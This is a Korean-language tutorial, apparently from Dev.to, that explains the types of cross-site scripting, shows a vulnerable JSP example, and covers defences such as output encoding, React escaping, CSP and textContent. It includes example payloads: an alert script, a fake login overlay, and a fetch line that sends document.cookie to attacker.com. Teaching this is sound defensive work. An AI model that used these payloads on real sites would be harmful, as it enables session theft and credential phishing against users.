XSS 설명: 공격자가 애플리케이션 내부에서 JavaScript를 실행하는 방법
Source: Dev.to
XSS란 무엇인가?
크로스‑사이트 스크립팅(XSS)은 애플리케이션이 신뢰할 수 없는 사용자 입력을 웹 페이지에 직접 렌더링할 때 발생합니다. 입력을 일반 텍스트로 표시하는 대신 브라우저가 실행 가능한 JavaScript 로 해석하게 됩니다. 이를 통해 공격자는 다른 사용자의 브라우저에서 악성 코드를 실행할 수 있으며, 이는 여러분의 애플리케이션이 신뢰하는 도메인 아래에서 이루어집니다.
XSS 유형
저장형 XSS
- 공격자가 악성 입력을 제출합니다.
- 애플리케이션이 이를 데이터베이스에 저장합니다.
- 페이지를 로드하는 모든 사용자가 페이로드를 실행합니다.
예시: 댓글 섹션.
반사형 XSS
- 입력이 요청(URL 또는 폼)으로부터 들어옵니다.
- 서버가 이를 즉시 응답에 반영합니다.
예시: 검색 결과 페이지.
DOM‑기반 XSS
서버와 전혀 관여하지 않습니다. 클라이언트‑사이드 JavaScript가 공격자가 제어하는 데이터를 DOM에 삽입합니다.
전달 메커니즘은 다르지만 핵심 문제는 동일합니다: 신뢰할 수 없는 입력이 코드로 실행된다는 점입니다.
실용적인 예시
취약한 예시 (Java/JSP)
String comment = request.getParameter("comment");
saveComment(comment);
후에 렌더링되는 부분:
애플리케이션은 댓글이 무해한 텍스트라고 가정하지만, 브라우저는 이를 알 방법이 없습니다.
공격 입력
alert('XSS')
렌더링될 때:
alert('XSS')
브라우저는 텍스트로 표시하는 대신 스크립트를 실행합니다.
쿠키 탈취 예시
fetch("https://attacker.com/steal?cookie=" + document.cookie);
이 코드는 피해자의 세션 쿠키를 공격자에게 전송합니다. 쿠키가 보호되지 않은 경우, 공격자는 동일 도메인에 대한 요청에 브라우저가 자동으로 쿠키를 포함시키기 때문에 활성 세션을 탈취할 수 있습니다.
가짜 로그인 폼
document.body.innerHTML =
'
## Session Expired
';
공격자는 페이지 내용을 가짜 UI로 교체하여 사용자가 자격 증명을 입력하도록 유도합니다.
실제 영향
세션 하이재킹
공격자가 인증된 세션을 탈취합니다.
계정 탈취
피해자의 계정에 비밀번호 없이 접근합니다.
데이터 탈취
민감한 페이지 데이터를 추출하거나, 애플리케이션 내부에서 피싱이 발생할 수 있습니다. 사용자는 이미 신뢰하는 도메인 내에 나타나는 가짜 프롬프트를 훨씬 더 신뢰합니다.
XSS의 위험한 점은 백엔드를 공격하는 것이 아니라, 애플리케이션과 사용자 사이의 신뢰를 악용한다는 것입니다.
XSS 방지 방법
출력 인코딩
특수 문자를 이스케이프하여 마크업이 아니라 텍스트로 렌더링되게 합니다.
안전하지 않음:
안전함:
은 를 보이는 텍스트로 변환해 실행을 방지합니다.
프레임워크 보호
현대 프레임워크는 기본적으로 이스케이프를 수행합니다.
React (안전):
{userInput}
위험 (보호 우회):
{userInput} 로 데이터를 렌더링하면 React가 자동으로 이스케이프합니다. dangerouslySetInnerHTML 을 사용하면 React에게 원시 문자열을 직접 DOM에 삽입하도록 지시하게 되며, 내용이 완전히 신뢰될 때만 사용해야 합니다.
콘텐츠 보안 정책 (CSP)
스크립트를 로드할 수 있는 위치를 제한합니다.
Content-Security-Policy: default-src 'self'; script-src 'self';
스크립트 삽입이 발생하더라도 브라우저는 허가되지 않은 스크립트 실행을 차단합니다.
흔한 실수
사용자 입력을 신뢰하기
사용자가 올바르게 행동한다는 가정을 절대 하지 마세요.
innerHTML 사용
안전하지 않음:
element.innerHTML = userInput;
안전함:
element.textContent = userInput;
이스케이프 비활성화
프레임워크 보호 기능은 이유가 있어 존재합니다. 이를 비활성화하면 위험이 다시 도입됩니다.
마무리 생각
공격자 시각으로 생각해 보세요:
- 여기서 스크립트를 삽입할 수 있을까?
- 브라우저가 실행할까?
- 이 페이지에서 신뢰를 탈취할 수 있을까?
XSS는 서버가 아니라 여러분의 애플리케이션을 통해 사용자에게 직접 공격을 가한다는 점에서 위험합니다. 사용자 입력을 적절히 인코딩하지 않고 렌더링한다면, 공격자에게 사용자의 브라우저를 장악할 권한을 넘겨주는 셈입니다. 사용자 입력은 코드가 아니라 데이터 로 취급하세요.